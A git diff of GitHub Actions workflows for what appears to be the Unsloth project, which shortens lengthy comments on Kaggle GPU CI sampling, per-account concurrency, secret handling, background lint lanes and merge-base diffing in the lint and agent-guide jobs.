-# leg to the notebook's 15% would be 114 launches and ~86 GPU-h/week --
-# more than the whole account. So "sampled harder" is implemented as more
-# launches, more hours, a bigger share of the allowance and a lower stand-
-# down floor, on a smaller fraction of a much larger stream. Anyone
-# comparing the two `--percent` values alone will read it backwards, which
-# is why this paragraph is here and why the harness test asserts the
-# inversion rather than papering over it.
-#
-# ONE PAYLOAD, NOT TWO. The notebook leg runs a payload on each T4 of a
-# session because the second card is free. Here the second card is left
-# idle on purpose: Unsloth is a server, a browser and a llama.cpp process
-# contending for four CPU cores, and a second copy of all that on the same
-# box measures contention rather than Unsloth.
+# Studio vs notebook leg: ~38 vs 13-35 launches, ~28 vs 3.3-8.7 GPU-h a week, 5% vs 15% sampling.
#
# ---------------------------------------------------------------------
-# PATHS
# ---------------------------------------------------------------------
-# Deliberately NOT `studio/**`. This leg exists to exercise CUDA, and the
-# frontend is not where CUDA lives; frontend changes are already covered on
-# every commit by studio-ui-smoke.yml, studio-frontend-ci.yml and the mac and
-# windows UI jobs. Filtering on studio/** instead would raise the eligible
-# stream from ~760 to ~1600 a week and halve the sampling rate this budget
-# can afford, buying nothing this job can see.
-#
-# The two Playwright files that ARE listed are the ones this payload drives.
-# .github/scripts/kaggle_t4_ci/** is listed because the gate and the launcher
-# are shared with the notebook leg and a change there changes this job.
-#
+# Red only when the payload ran on a GPU and its assertions failed; every other outcome skips.
+# Not a required check. Only the gate job sees both tokens; later steps get the chosen one by SECRET
+# NAME, never a token output; no token reaches the Kaggle kernel. The payload scrubs its own bootstrap password from uploaded logs.
# ---------------------------------------------------------------------
-# FAILURE SEMANTICS
# ---------------------------------------------------------------------
-# Red ONLY when the payload ran on a GPU and its assertions failed. Every
-# other outcome -- not sampled, no quota, account busy, push throttled,
-# kernel died on Kaggle's side, evidence would not download -- is a SKIP or a
-# warning and exits 0. Nothing was learned about the code in those cases, so
-# nothing should block a merge.
-#
-# This job is NOT intended to be a required check. It runs on a minority of
-# commits by design, so requiring it would block every commit it declined to
-# run on.
-#
# ---------------------------------------------------------------------
-# CREDENTIALS
# ---------------------------------------------------------------------
-# KAGGLE_API_TOKEN and KAGGLE_API_TOKEN_2 hold one account each. The GATE is
-# the only step that sees both: it weighs them, picks one, and publishes that
-# account's NUMBER, USERNAME and SECRET NAME. No token is ever a job output.
-# Every later step gets exactly the chosen one, as KAGGLE_API_TOKEN, by
-# indexing the secrets context with that name.
-#
-# Neither is echoed, written to an output or an artifact, or travels to the
-# Kaggle kernel: the kernel receives the notebook and nothing else. Fork pull
-# requests receive no secret and the gate skips cleanly when none is present.
-#
-# The payload mints its own Unsloth bootstrap password inside the kernel and
-# scrubs it out of every log that leaves the machine, because Unsloth's
-# startup banner prints it and those logs become an artifact.
name: Kaggle T4 Unsloth GPU CI
on:
pull_request:
- # `labeled` on top of the defaults, because the opt-in label below is
- # advertised as the way to force a run that sampling declined. Without it
- # GitHub starts nothing when the label is added and the override only
- # takes effect on the next unrelated push.
+ # `labeled` so adding the opt-in label starts a run immediately.
types: [opened, synchronize, reopened, labeled]
paths:
- 'studio/backend/**'
@@ -246,10 +95,7 @@ on:
permissions:
contents: read
-# Per-ref, and NOT latest-only, for the same reason the notebook leg is not:
-# a cancelled runner cannot stop the Kaggle kernel it has already pushed, and
-# an orphaned kernel bills quota to its own ceiling with nobody left to read
-# the result. Superseded runs that have not STARTED are still discarded.
+# Per-ref, not latest-only: a cancelled runner cannot stop a Kaggle kernel it already pushed.
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: false
@@ -257,40 +103,22 @@ concurrency:
jobs:
gate:
name: gate
- # Fork pull requests never receive the Kaggle secrets, so this job
- # could only reach "no credential is available to this context" -- a
- # runner spent to learn nothing.
- #
- # The `labeled` clause is what keeps the opt-in label from turning into a
- # standing trigger. GitHub has no per-label event filter, so `labeled`
- # starts this workflow for EVERY label added, and once
- # kaggle-studio-gpu-ci is on the pull request the gate reads the whole
- # label list and calls every one of those events forced -- so adding any
- # unrelated label would launch another 70-minute Kaggle session. Checking
- # the label that fired the event is the documented way to narrow it.
- # `github.event.label` exists only on labeled/unlabeled, and
- # `github.event.action` is null on push, so both other events fall
- # through.
+ # Forks get no Kaggle secrets. GitHub has no per-label filter, so only the opt-in label itself
+ # may fire a `labeled` run; otherwise any label would launch another session.
if: >-
github.event.pull_request.head.repo.fork != true
&& (github.event.action != 'labeled'
|| github.event.label.name == 'kaggle-studio-gpu-ci')
runs-on: ubuntu-latest
- # 15, the worst case with two accounts: each one's authentication, username
- # and quota read at the socket ceiling, one shared survey budget, and the
- # call still in flight when it expires. The suite asserts the arithmetic.
+ # Worst case for two accounts at the socket ceiling; the suite asserts this arithmetic.
timeout-minutes: 15
outputs:
should_run: ${{ steps.decide.outputs.should_run }}
reason: ${{ steps.decide.outputs.reason }}
- # The account the weighted draw landed on. Only this job sees both
- # tokens; `matrix` carries the SECRET NAME so the GPU job can index the
- # secrets context, never a credential.
+ # Carries the SECRET NAME so the GPU job can index secrets, never a credential.
account: ${{ steps.decide.outputs.account }}
account_user: ${{ steps.decide.outputs.account_user }}
matrix: ${{ steps.decide.outputs.matrix }}
- # The commit under test, resolved once: the GPU job tests THIS and never
- # re-resolves a moving ref.
head_sha: ${{ steps.ref.outputs.head_sha }}
steps:
- name: Harden runner (audit)
@@ -309,32 +137,10 @@ jobs:
- name: Install the Kaggle client
run: python -m pip install --quiet 'kaggle==2.2.4'
- # The gate itself is shared with the notebook leg, unchanged. Only the
- # numbers differ.
- #
- # --kernels 1, not the default 2: this leg pushes ONE kernel and leaves
- # the session's second T4 idle (see ONE PAYLOAD, NOT TWO above), so
- # demanding two free concurrency slots would stand the job down on an
- # account that has room for it.
- #
- # budget-hours is the worst case ONE invocation can cost. Nothing waits
- # on the kernel now, and one that ignores its own timeout (seen: two hours
- # past it, still RUNNING) is left to the collector's age ceiling plus its
- # schedule and job timeout, so the worst case is that whole reaper window.
- # The harness suite derives it.
- #
- # reserve-hours is 10 rather than the notebook leg's 20, and that is the
- # single knob that implements "CI may use up to 50 of the 60 hours".
- # Raising it throttles BOTH legs, since they read the same account-wide
- # quota. Do not raise it above roughly 45 or CI never runs at all on a
- # week with any other usage.
- # THE COMMIT THE GPU JOB WILL TEST, which is not always this workflow's
- # own: a dispatch naming `unsloth_ref` tests that ref. Keyed on github.sha
- # instead, the in-flight check would look for the wrong kernel, and once
- # the default branch moved two runs of one requested ref could be drawn
- # onto different accounts and never see each other. A ref that does not
- # resolve leaves the key EMPTY, so the draw falls back to the run id and
- # the GPU job stands down on the same ref moments later.
+ # --kernels 1: this leg pushes one kernel. budget-hours is the full reaper window (derived by the suite).
+ # reserve-hours is 10 rather than the notebook leg's 20; both legs read the same account-wide quota,
+ # and above ~45 CI never runs.
+ # Keyed on the commit under test (not github.sha) so dispatches of one ref collide in the in-flight check.
- name: Name the commit under test
id: ref
env:
@@ -368,8 +174,6 @@ jobs:
- name: Decide
id: decide
env:
- # BOTH accounts, and the only step here that sees both: the gate
- # weighs their weekly totals, picks one, and hands its NAME down.
KAGGLE_API_TOKEN: ${{ secrets.KAGGLE_API_TOKEN }}
KAGGLE_API_TOKEN_2: ${{ secrets.KAGGLE_API_TOKEN_2 }}
run: |
@@ -387,44 +191,20 @@ jobs:
studio-gpu:
name: Unsloth GPU smoke
needs: gate
- # Load-bearing: this job dispatches rather than waits, so it cannot BE the
- # check that says the Studio smoke passed. It posts that verdict as a status
- # on whichever commit the collected kernel belongs to, not necessarily this
- # run's.
+ # Posts the verdict as a commit status, possibly on another run's commit.
permissions:
contents: read
statuses: write
if: needs.gate.outputs.should_run == 'true'
runs-on: ubuntu-latest
- # One element, carrying the chosen account into a context `secrets[...]`
- # can be indexed with. It holds the SECRET NAME, never the token: `secrets`
- # is not available while the strategy expands, and a `cond && A || B`
- # ternary silently yields the OTHER account's token when the first secret is
- # empty, while the metadata beside it still names the first.
+ # Holds the SECRET NAME, not the token: `secrets` is unavailable at strategy expansion and a
+ # `cond && A || B` ternary silently yields the other account's token when the first is empty.
strategy:
matrix: ${{ fromJSON(needs.gate.outputs.matrix) }}
- # 120 min: the kernel ceiling is 70 and collection adds a few, so this
- # only fires if the launcher itself wedged.
+ # Kernel ceiling is 70 min; this only fires if the launcher wedged.
timeout-minutes: 120
- # A group of this workflow's OWN, where this used to be the same string the
- # notebook leg uses. Sharing it was right while the notebook leg pushed two
- # kernels and so held both of the account's concurrent sessions: this job
- # would have raced the cap and lost its push. The notebook leg now packs
- # every leg into a single kernel and holds one session, so the second is
- # free and this job can take it instead of waiting out the whole notebook
- # run (measured: run 32607617804 queued about 40 minutes behind notebook run
- # 32607621452).
- #
- # Still not keyed on the ref: this job pushes to one global account, so two
- # branches must not overlap even though the two WORKFLOWS now may. And the
- # arithmetic has no slack -- one kernel here plus one there is exactly
- # Kaggle's 2-session cap -- so anything that makes either side push a second
- # kernel has to put these two back in one group.
- # KEYED ON THE ACCOUNT. One string for the whole workflow meant every
- # Studio run queued behind every other one whichever account it would
- # spend, so a second account added no capacity at all. Per account it is
- # one Studio kernel each, beside one notebook kernel each: four sessions
- # over two accounts, still Kaggle's two per account.
+ # Own group keyed on the account: one Studio kernel plus one notebook kernel per account is exactly
+ # Kaggle's 2-session cap, so anything pushing a second kernel must merge these groups again.
concurrency:
group: kaggle-t4-account-${{ needs.gate.outputs.account }}-studio
cancel-in-progress: false
@@ -445,13 +225,7 @@ jobs:
- name: Install the Kaggle client
run: python -m pip install --quiet 'kaggle==2.2.4'
- # The ref the kernel clones and tests. For a pull request that is the
- # head SHA, so the kernel exercises the proposed code and not the merge
- # base. Pinned to a SHA rather than a branch so a push landing mid-run
- # cannot change what was tested.
- # To a COMMIT, never a ref: the commit goes into the kernel's slug, the
- # only record a later collector has. A branch or tag cannot be encoded,
- # and launch.py refuses it.
+ # Resolve to a commit SHA, never a ref: it goes into the kernel slug and launch.py refuses refs.
- name: Resolve the ref under test
id: ref
env:
@@ -464,16 +238,9 @@ jobs:
echo "testing unslothai/unsloth@$HEAD_SHA"
exit 0
fi
- # RESOLVED ONCE, by the gate job, and reused rather than asked again:
- # a branch or tag can move while this job queues, and a second answer
- # could name a commit the gate never keyed the draw or the in-flight
- # check on, whose own run may already be out on the other account.
+ # Reuse the gate's resolution: a moving ref could name a commit the gate never keyed on.
RESOLVED="$GATE_SHA"
- # A full SHA is accepted on shape alone above and `git ls-remote`
- # matches refs, so neither says the repo HAS the commit. A mistyped or
- # force-pushed-away SHA would spend a session and never get a verdict.
- # Fetching the object is the reachability pip needs anyway; GitHub
- # refuses an unreachable one with exit 128.
+ # A SHA-shaped string may not exist in the repo; fetching proves reachability (exit 128 otherwise).
if ! printf '%s' "$RESOLVED" | grep -Eq '^[0-9a-f]{40}$'; then
RESOLVED=''
fi
@@ -502,12 +269,8 @@ jobs:
- name: Build the kernel notebook
env:
MAX_STEPS: ${{ inputs.max_steps || '8' }}
- # MTP-GGUF, not the plain GGUF: multi-token prediction is a distinct
- # serving path in llama.cpp and the plain repo does not exercise it.
+ # MTP-GGUF exercises llama.cpp's multi-token prediction path, which the plain GGUF does not.
CHAT_MODEL: ${{ inputs.chat_model || 'unsloth/Qwen3.5-2B-MTP-GGUF' }}
- # Qwen3.5-2B rather than Qwen2.5-0.5B-Instruct, so Studio trains the
- # model this CI actually cares about. Confirmed loadable on a T4 in
- # 4bit by unsloth-probe-vision-recon-c76ea3.
TRAIN_MODEL: ${{ inputs.train_model || 'unsloth/Qwen3.5-2B' }}
SKIP_UI: ${{ inputs.skip_ui }}
run: |
@@ -523,12 +286,7 @@ jobs:
--payload-args "$ARGS" \
--per-run-timeout 3900
- # Finish what an earlier run started, BEFORE the recheck: this can spend
- # fifteen minutes downloading and the notebook workflow can take the
- # account's last session in that window; the recheck must be the last
- # thing before the push. As on the notebook leg, the token is already in
- # hand, collecting frees the slot this job wants, and it answers whether a
- # kernel for THIS commit is already in flight.
+ # Collect before the recheck: collecting can take minutes, and the recheck must be last before the push.
- name: Collect finished Kaggle runs
id: collect
env:
@@ -542,11 +300,7 @@ jobs:
--no-delete \
--target-url "$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID"
- # Post FIRST, delete SECOND: a verdict that fails to reach GitHub leaves
- # its kernel up for the next pass, and deleting first would make that
- # failure permanent. The poster is shared by all three workflows; it
- # expands the slug's abbreviated sha (the statuses API 422s one) and hands
- # every field to `gh` as its own argument, never through a shell.
+ # Post first, delete second, so a failed post leaves the kernel for the next pass.
- name: Post the collected verdicts as commit statuses
id: post
if: always() && hashFiles('kaggle_collected/collect_result.json') != ''
@@ -567,18 +321,8 @@ jobs:
--delete-collected kaggle_collected/collect_result.json \
--posted kaggle_collected/posted.json
- # WITH THE ACCOUNT SLOT IN HAND, and immediately before the push. The
- # notebook leg has always done this and this one never has; two accounts
- # is what makes the gap matter. A gate answer can be a whole run stale by
- # the time the concurrency group lets this job start -- the repo queue has
- # been measured 293 deep -- and in that window the chosen account can have
- # spent its hours or taken its second session on another branch.
- #
- # --account-env narrows the recheck to the ONE account the gate chose, so
- # it can never clear a different account from the one this job holds a
- # slot for. --soft-fail because the run is already past the gate and only
- # re-asking: exhaustion discovered here is a stand-down, not a red, and
- # the step below says so.
+ # Recheck the one chosen account right before the push: the gate answer can be stale by now.
+ # --soft-fail: exhaustion found here is a stand-down, not a red.
- name: Recheck the Kaggle account
id: recheck
env:
@@ -592,8 +336,7 @@ jobs:
--budget-hours 4 \
--reserve-hours 10
- # Through the environment rather than an inline expression, so nothing the
- # Kaggle API put in that string reaches a shell.
+ # Via env, not an inline expression, so Kaggle API text never reaches a shell.
- name: Report the stale approval
if: steps.recheck.outputs.should_run != 'true'
env:
@@ -606,25 +349,11 @@ jobs:
run: |
echo "::notice title=Already in flight::a Kaggle kernel for this commit is still running from an earlier run, so nothing was dispatched. Its result will arrive as the kaggle-studio-gpu commit status."
- # kernel-timeout-sec is the load-bearing budget control: Kaggle itself
- # kills the session at that point. A runner that is cancelled cannot
- # clean up after itself, so the ceiling has to be enforced on Kaggle's
- # side rather than here.
- #
- # The launcher is shared with the notebook leg and is used unchanged:
- # this payload prints the same T4_SMOKE_REPORT line, so the transport
- # needed no modification.
- #
- # PUSH AND EXIT. Waiting here cost 18.7 minutes of runner (run
- # 33486360729). This job now succeeds by dispatching and cannot say
- # whether the Studio smoke passed; the verdict arrives as the
- # `kaggle-studio-gpu` commit status. Not a required check while the gate
- # samples: a skipped commit never gets one.
+ # kernel-timeout-sec is the real budget control: Kaggle kills the session there, a cancelled runner cannot.
+ # Push and exit; the verdict arrives later as the `kaggle-studio-gpu` commit status.
- name: Dispatch to Kaggle
id: launch
- # GATED ON THE RECHECK, or the recheck is decorative: a step that
- # measures the account and cannot stop the push is a log line, not a
- # control. This is the same shape the notebook leg uses.
+ # Gated on the recheck, otherwise it could not stop the push.
if: steps.recheck.outputs.should_run == 'true' && steps.collect.outputs.in_flight != 'true'
env:
KAGGLE_API_TOKEN: ${{ secrets[matrix.secret_name] }}
@@ -641,35 +370,25 @@ jobs:
--kind studio \
--commit-sha '${{ steps.ref.outputs.ref }}'
- # Gated on the launcher's verdict, not its exit code: launch.py exits 0
- # for every stand-down, and a pending status for a kernel that does not
- # exist is one no collector can ever replace.
+ # Gated on the launcher's verdict, not exit code: launch.py exits 0 for every stand-down.
- name: Mark the dispatch pending on this commit
if: steps.launch.outputs.verdict == 'dispatched'
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
- # A pending status as soon as the kernel is queued, so a required
- # context that has not reported yet reads as waiting, not as nothing.
gh api "repos/$GITHUB_REPOSITORY/statuses/${{ steps.ref.outputs.ref }}" \
-f state=pending -f context=kaggle-studio-gpu \
-f description="dispatched to Kaggle; the result is collected when the kernel finishes" \
-f target_url="$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID" \
--silent || echo "::warning title=Could not post the pending status::kaggle-studio-gpu"
- # The launcher collects executed notebooks and the kernel log and
- # nothing else, deliberately. The payload therefore encodes its
- # screenshots and logs into its own cell output; this puts them back.
+ # The launcher collects only notebooks and logs, so the payload encodes evidence in cell output.
- name: Unpack the Playwright evidence
if: always() && hashFiles('kaggle_evidence/**/*_output.ipynb', 'kaggle_collected/**/*_output.ipynb') != ''
- # Best effort: the verdict was posted above, and evidence Kaggle
- # mangled must not turn the job red after the fact.
+ # Best effort: mangled evidence must not turn the job red after the verdict.
continue-on-error: true
run: |
- # One kernel per call: the bundle is reassembled from numbered chunks
- # and one walk over two would splice them together. Both trees, since
- # a waited-on kernel lands in kaggle_evidence and a collected one in
- # kaggle_collected.
+ # One kernel per call: chunks from two kernels would be spliced together.
for dir in kaggle_evidence/*/ kaggle_collected/*/; do
[ -d "$dir" ] || continue
python .github/scripts/kaggle_studio_ci/collect_evidence.py \
@@ -677,9 +396,7 @@ jobs:
--outdir "studio_evidence/$(basename "$dir")"
done
- # always(): the evidence is most valuable exactly when something went
- # wrong. Screenshots only travel on a failing run, so a passing upload
- # is kilobytes.
+ # always(): evidence matters most when something failed.
- name: Upload evidence
if: always()
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
@@ -690,9 +407,7 @@ jobs:
kaggle_collected/**
studio_evidence/**
kernel.ipynb
- # 14 rather than the repo's usual 7. This job runs on a minority of
- # commits, so two consecutive samples can be a fortnight apart, and
- # comparing them is the main reason to keep the evidence at all.
+ # 14 days: sampled runs can be a fortnight apart and are compared with each other.
retention-days: 14
if-no-files-found: warn
diff --git a/.github/workflows/lint-ci.yml b/.github/workflows/lint-ci.yml
index e3812e94970..a741bcbd1e4 100644
--- a/.github/workflows/lint-ci.yml
+++ b/.github/workflows/lint-ci.yml
@@ -48,11 +48,7 @@ jobs:
source-lint:
name: Source lint (Python + shell + YAML + JSON + safety nets)
runs-on: ubuntu-latest
- # Real work here is well under a minute; the budget is sized for the apt step
- # below, which is bounded at 13 minutes of worst-case retries. Raised from 5,
- # where the job timeout was doing the bounding -- and doing it badly, since a
- # job that runs out of budget is reported as "cancelled" with no reason given
- # and every remaining step skipped. The step timeout says which step and why.
+ # Sized for the bounded apt step below; a step timeout names the failing step, a job timeout does not.
timeout-minutes: 20
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -62,59 +58,21 @@ jobs:
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with:
python-version: '3.12'
- # No cache. This job installs three linters and nothing else, so the ~9 MB it
- # would store is not worth a slot in a budget the model downloads are competing
- # for. It used to share one key with every other Python 3.12 job in the repo,
- # and whichever ran first won it: in practice this one, leaving a 9 MB entry
- # that Core then restored before downloading 3.2 GB anyway.
-
- # Pin ruff to match .pre-commit-config.yaml so a CI-only ruff
- # bump cannot disagree with what pre-commit accepted.
- # codespell is pinned for the same reason: a reviewer should
- # never see a typo report appear and disappear depending on
- # which codespell version the runner happened to install.
+ # No cache: ~9 MB of linters is not worth a slot in the shared cache budget.
+
+ # Pin ruff to match .pre-commit-config.yaml so a CI-only ruff bump cannot disagree with
+ # pre-commit. codespell is pinned so typo reports do not flip with its version.
- run: pip install 'ruff==0.15.12' 'pyyaml>=6' 'codespell>=2.3,<3'
- # Two short jobs that used to hold a runner slot each, absorbed onto this one.
- #
- # Unsloth load-orchestrator CI :: test 33 s, its own slot
- # Lockfile supply-chain audit :: audit 6 s, its own slot
- #
- # Both are pure read-only checks: no server, no port, no install of Unsloth, no
- # state outside the workspace. They are launched here in the BACKGROUND and
- # collected in the last step of this job, so they overlap the ~65 s of lint below
- # and cost no wall clock at all rather than being appended to it. ubuntu-latest has
- # four cores and the lint steps are single-threaded, so the capacity is there.
- #
- # Each lane gets its own venv. That is the only isolation this needs, and it is
- # load-bearing: the lane installs fastapi/httpx/pytest while the foreground steps
- # are using the interpreter that `pip install` above populated, and two concurrent
- # pip installs into one site-packages is a genuine race rather than a theoretical
- # one. Nothing else is shared -- no ports are bound and no files are written outside
- # each lane's own log.
- #
- # This job has no path filter, so it runs on every commit, which means absorbing a
- # narrower-triggered job here can only ever REDUCE the slots a commit takes: the
- # absorbed work now runs on commits that would not have triggered it, but on a
- # runner that was already going to exist.
+ # Absorbed read-only suites run in the background, overlapping lint, and are collected in the
+ # last step. Each lane has its own venv: concurrent pip installs into one site-packages race.
- name: Start the absorbed suites (background)
run: |
set -euo pipefail
mkdir -p logs .lanes
- # Written on exit with the lane's status, and read by the collect step. A lane
- # that dies without writing one is reported as a failure there rather than
- # silently passing, which is the failure mode that makes backgrounding risky.
- # `</dev/null >/dev/null 2>&1` on the SUBSHELL is not tidiness, it is what makes
- # this step return immediately. A background child inherits the step's stdout
- # and stderr pipes, and the runner does not consider a step finished while a
- # writer still holds them: without this the launch blocks for as long as the
- # lane runs, which is precisely the overlap the backgrounding exists to buy.
- # Measured: 4.0 s to launch a 4 s lane before, 0.0 s after.
- #
- # The inner redirect to the log applies to the command itself and takes
- # precedence, so nothing is lost -- the lane's output is replayed by the
- # collect step.
+ # The .rc file is read by the collect step; a lane that never writes one counts as failed.
+ # Redirecting the subshell's stdio is required: the runner waits on inherited pipes otherwise.
lane() {
name="$1"; shift
(
@@ -129,19 +87,10 @@ jobs:
echo "launched 2 background lanes"
- # Bounded and retried, because this step is why the job's own timeout used to
- # be the failure mechanism: on 2026-08-19 it sat in apt for 5 minutes, the job
- # hit `timeout-minutes: 5`, and GitHub scored the result "cancelled" with no
- # reason and skipped all fifteen checks below it. A lint run that reports
- # nothing about lint is worse than a red one.
- #
- # update and install are one unit: retrying the install alone after a stalled
- # update just re-reads the same broken package list.
+ # Bounded and retried so a stalled apt fails this step instead of cancelling the whole job.
+ # update and install retry together: retrying install alone re-reads the same broken list.
- name: Linux deps for shellcheck
- # Two long attempts, not three short ones. 150s killed apt mid-`update`
- # against a mirror that was degraded rather than dead, and every attempt
- # then hit the same wall -- three kills and no result. The bound exists to
- # stop an infinite hang, not to race a slow mirror.
+ # Two long attempts, not three short ones: a degraded mirror needs time, the bound only stops hangs.
timeout-minutes: 15
env:
RETRY_ATTEMPTS: '2'
@@ -524,36 +473,7 @@ jobs:
ruff format --check unsloth unsloth_cli studio tests cli.py unsloth-cli.py
- name: Import-hoist / alias-rename safety (changed Python files)
- # Runs the verifier in compare mode on every in-place-modified
- # .py in the PR: parses each file BEFORE (base branch) and AFTER
- # (this diff), resolves every name load, and fails on a BLOCKER
- # (dangling alias / rename clash / re-pointed import). INFO
- # findings (a helper relocated to another file) do not fail.
- #
- # --diff-filter=M (in-place edits only) is deliberate: that is
- # exactly where a hoist refactor lives, and it skips brand-new
- # files whose re-export imports would otherwise look "unused".
- #
- # Diff the merge-base against the PR HEAD, and pin BOTH ends
- # explicitly.
- #
- # The base tip is the wrong BEFORE: a two-dot diff against it
- # re-lints every file the base branch changed after the PR
- # branched, comparing newer base code (BEFORE) against the PR's
- # older snapshot (AFTER) - a time-reversed comparison that flags
- # the base branch's own refactors as blockers.
- #
- # `HEAD` is the wrong AFTER for the same reason. On a
- # pull_request event the checkout is refs/pull/N/merge, i.e.
- # merge(PR head, base tip), so `$MERGE_BASE..HEAD` still spans
- # every base commit since the branch point and reintroduces the
- # exact false positives the merge-base was chosen to avoid.
- # Naming the PR head SHA makes the range the PR's own commits
- # and nothing else.
- #
- # Both endpoints are fetched by SHA so the shallow
- # (fetch-depth: 1) clone is preserved; the verifier reads each
- # revision with `git show REF:path` and never needs a checkout.
+ # Diff merge-base..PR head SHA, fetched by SHA; --diff-filter=M so only in-place edits are checked
if: github.event_name == 'pull_request'
env:
GH_TOKEN: ${{ github.token }}
@@ -562,8 +482,7 @@ jobs:
MERGE_BASE=$(gh api \
"repos/${{ github.repository }}/compare/${{ github.event.pull_request.base.sha }}...${{ github.event.pull_request.head.sha }}" \
--jq .merge_base_commit.sha)
- # A fork PR's head is not on origin as a branch, but it is
- # always reachable as refs/pull/N/head.
+ # A fork PR's head is only reachable as refs/pull/N/head.
git fetch --no-tags --depth=1 origin "$MERGE_BASE"
git fetch --no-tags --depth=1 origin \
"refs/pull/${{ github.event.pull_request.number }}/head"
@@ -610,13 +529,8 @@ jobs:
"repos/${{ github.repository }}/compare/${{ github.event.pull_request.base.sha }}...${{ github.event.pull_request.head.sha }}" \
--jq .merge_base_commit.sha)
git fetch --no-tags --depth=1 origin "$MERGE_BASE"
- # refs/pull/N/head moves. On a rerun of an older run, or if the branch
- # advanced since the event, that ref is no longer $HEAD_SHA, and a depth-1
- # clone would not have the pinned commit at all. Fetch the ref first (it is
- # what makes the SHA reachable on a fork PR), then the SHA itself, then
- # REFUSE to continue if it is still missing. The old shape hid exactly this:
- # git diff failed, the pipeline's `|| true` produced an empty file list, and
- # the step reported success having checked nothing.
+ # refs/pull/N/head moves, so fetch it and then the pinned SHA, and refuse if it is still missing
+ # rather than diffing an empty file list.
git fetch --no-tags --depth=1 origin \
"refs/pull/${{ github.event.pull_request.number }}/head"
git fetch --no-tags --depth=1 origin "$HEAD_SHA" 2>/dev/null || true
@@ -624,9 +538,7 @@ jobs:
echo "::error::head commit $HEAD_SHA is not available locally; refusing to skip the check"
exit 1
fi
- # -z / -d '', because core.quotePath defaults on: a non-ASCII path comes out of a
- # line-oriented git diff as "caf\303\251.py", whose suffix is .py" rather than
- # .py, so the verifier would skip it and report success having checked nothing.
+ # NUL-separated: core.quotePath would quote non-ASCII paths and hide their .py suffix.
mapfile -d '' -t CHANGED < <(
git diff -z --name-only --diff-filter=ACMRT \
"$MERGE_BASE" "$HEAD_SHA" -- '*.py' \
@@ -643,22 +555,14 @@ jobs:
--before "$MERGE_BASE" --after "$HEAD_SHA" "${CHANGED[@]}"
- # Collects the two lanes launched before the lint steps. This step is the whole
- # reason the backgrounding is safe: without it a lane's failure would be invisible
- # and the absorbed jobs would be silently deleted rather than moved.
- #
- # `always()` so a lane failure is still reported when a lint step above failed
- # first, and a missing .rc file is a failure rather than a pass, which covers a
- # lane that was killed or never started.
+ # Collects the background lanes; always(), and a missing .rc file counts as a failure.
- name: Collect the absorbed suites
if: always()
run: |
set -uo pipefail
rc=0
for name in load-orchestrator lockfile-audit; do
- # The lanes are children of an earlier step's shell, not of this one, so
- # `wait` cannot see them; poll for the sentinel instead. 240s is well beyond
- # the 33s and 6s these take, and the job timeout bounds it regardless.
+ # The lanes belong to another step's shell, so `wait` cannot see them; poll the sentinel.
waited=0
while [ ! -f ".lanes/$name.rc" ] && [ "$waited" -lt 240 ]; do
sleep 2
diff --git a/.github/workflows/local-agent-guides-ci.yml b/.github/workflows/local-agent-guides-ci.yml
index 02aec4af9eb..f1b64ccb9fb 100644
--- a/.github/workflows/local-agent-guides-ci.yml
+++ b/.github/workflows/local-agent-guides-ci.yml
@@ -1,70 +1,33 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Local Agent Guides CI
# =====================
-# Detects when our local-agent setup recipes drift out of sync with
-# `unsloth run`. Boots a real `unsloth run --disable-tools` server and
-# drives the coding agents end to end through the *exact* recipes defined
-# in unsloth_cli/commands/start.py (the in-repo source of truth -- there
-# is no docs/ tree). Wherever start.py has a recipe we drive the agent
-# via `unsloth start <agent> --no-launch` and execute what it prints, so
-# the test self-updates against start.py and catches silent recipe drift.
-#
-# Source-of-truth files this workflow guards:
-# unsloth_cli/commands/start.py the `unsloth start <agent>` recipes
-# unsloth_cli/commands/studio.py the `unsloth run` banner (API Key line)
-#
-# Failure taxonomy (each surfaced with a distinct ::error:: + the agent name
-# + the start.py location, so a red X is immediately triageable):
-# (a) Unsloth server/API regression -- the dialect HTTP preflight fails
-# BEFORE the agent runs (or the server never becomes healthy).
-# (b) Agent package install failed -- npm/curl install of the CLI failed.
-# (c) Guide drift -- preflight passed + install ok, but
-# the documented `unsloth start` flow produced no/garbled output.
-#
-# Agents covered (8): claude, codex, hermes, openclaw, opencode, pi, dsh, vibe.
-# - All eight have a `unsloth start <agent>` recipe, so each cell obtains its
-# env + command from `unsloth start <agent> --no-launch` and runs THAT
-# (self-updating: a recipe change is exercised automatically).
+# Boots a real `unsloth run --disable-tools` server and drives each coding agent through the exact
+# recipe `unsloth start <agent> --no-launch` prints (unsloth_cli/commands/start.py), catching recipe drift.
+# Failure classes: (a) server/API preflight, (b) agent install, (c) guide drift.
name: Local Agent Guides CI
on:
- # Off-peak weekly, deliberately a NON-:00 minute to dodge the top-of-hour
- # GitHub-hosted-runner stampede.
+ # Non-:00 minute to avoid the top-of-hour runner stampede.
schedule:
- cron: '37 7 * * 1'
workflow_dispatch:
- # This workflow's cache saves are gated to refs/heads/main, and unlike the
- # other ten workflows in that change it had no main-ref trigger at all, so
- # main's copy of the 4.6GB GGUF could only ever be written by the Monday
- # cron. That is a poor match for a 7-day unused-cache retention on a repo
- # sitting at 99.3% of its 50 GiB budget: once LRU evicts main's copy, every PR
- # re-downloads until the next cron repairs it. Seed it on merge instead,
- # behind the same paths filter as the pull_request trigger below so this
- # only runs when the guarded sources actually change.
+ # Cache saves are main-only, so a main push seeds the GGUF cache (same paths filter as PRs).
push:
branches: [main]
paths:
- # The import closure of `unsloth run` (studio.py:31-33, __init__.py:70-77) plus the
- # recipe files at the package root; only unsloth_cli/tests/** is left out.
+ # Import closure of `unsloth run` plus the recipe files; only unsloth_cli/tests/** is excluded.
- 'unsloth_cli/*'
- 'unsloth_cli/commands/*.py'
- # inference.py declares every endpoint the preflight curls (/v1/models,
- # /v1/chat/completions, /v1/messages, /v1/responses); routes/** made the other
- # twenty route modules pay the full matrix for edits never requested here.
+ # inference.py declares every endpoint the preflight curls.
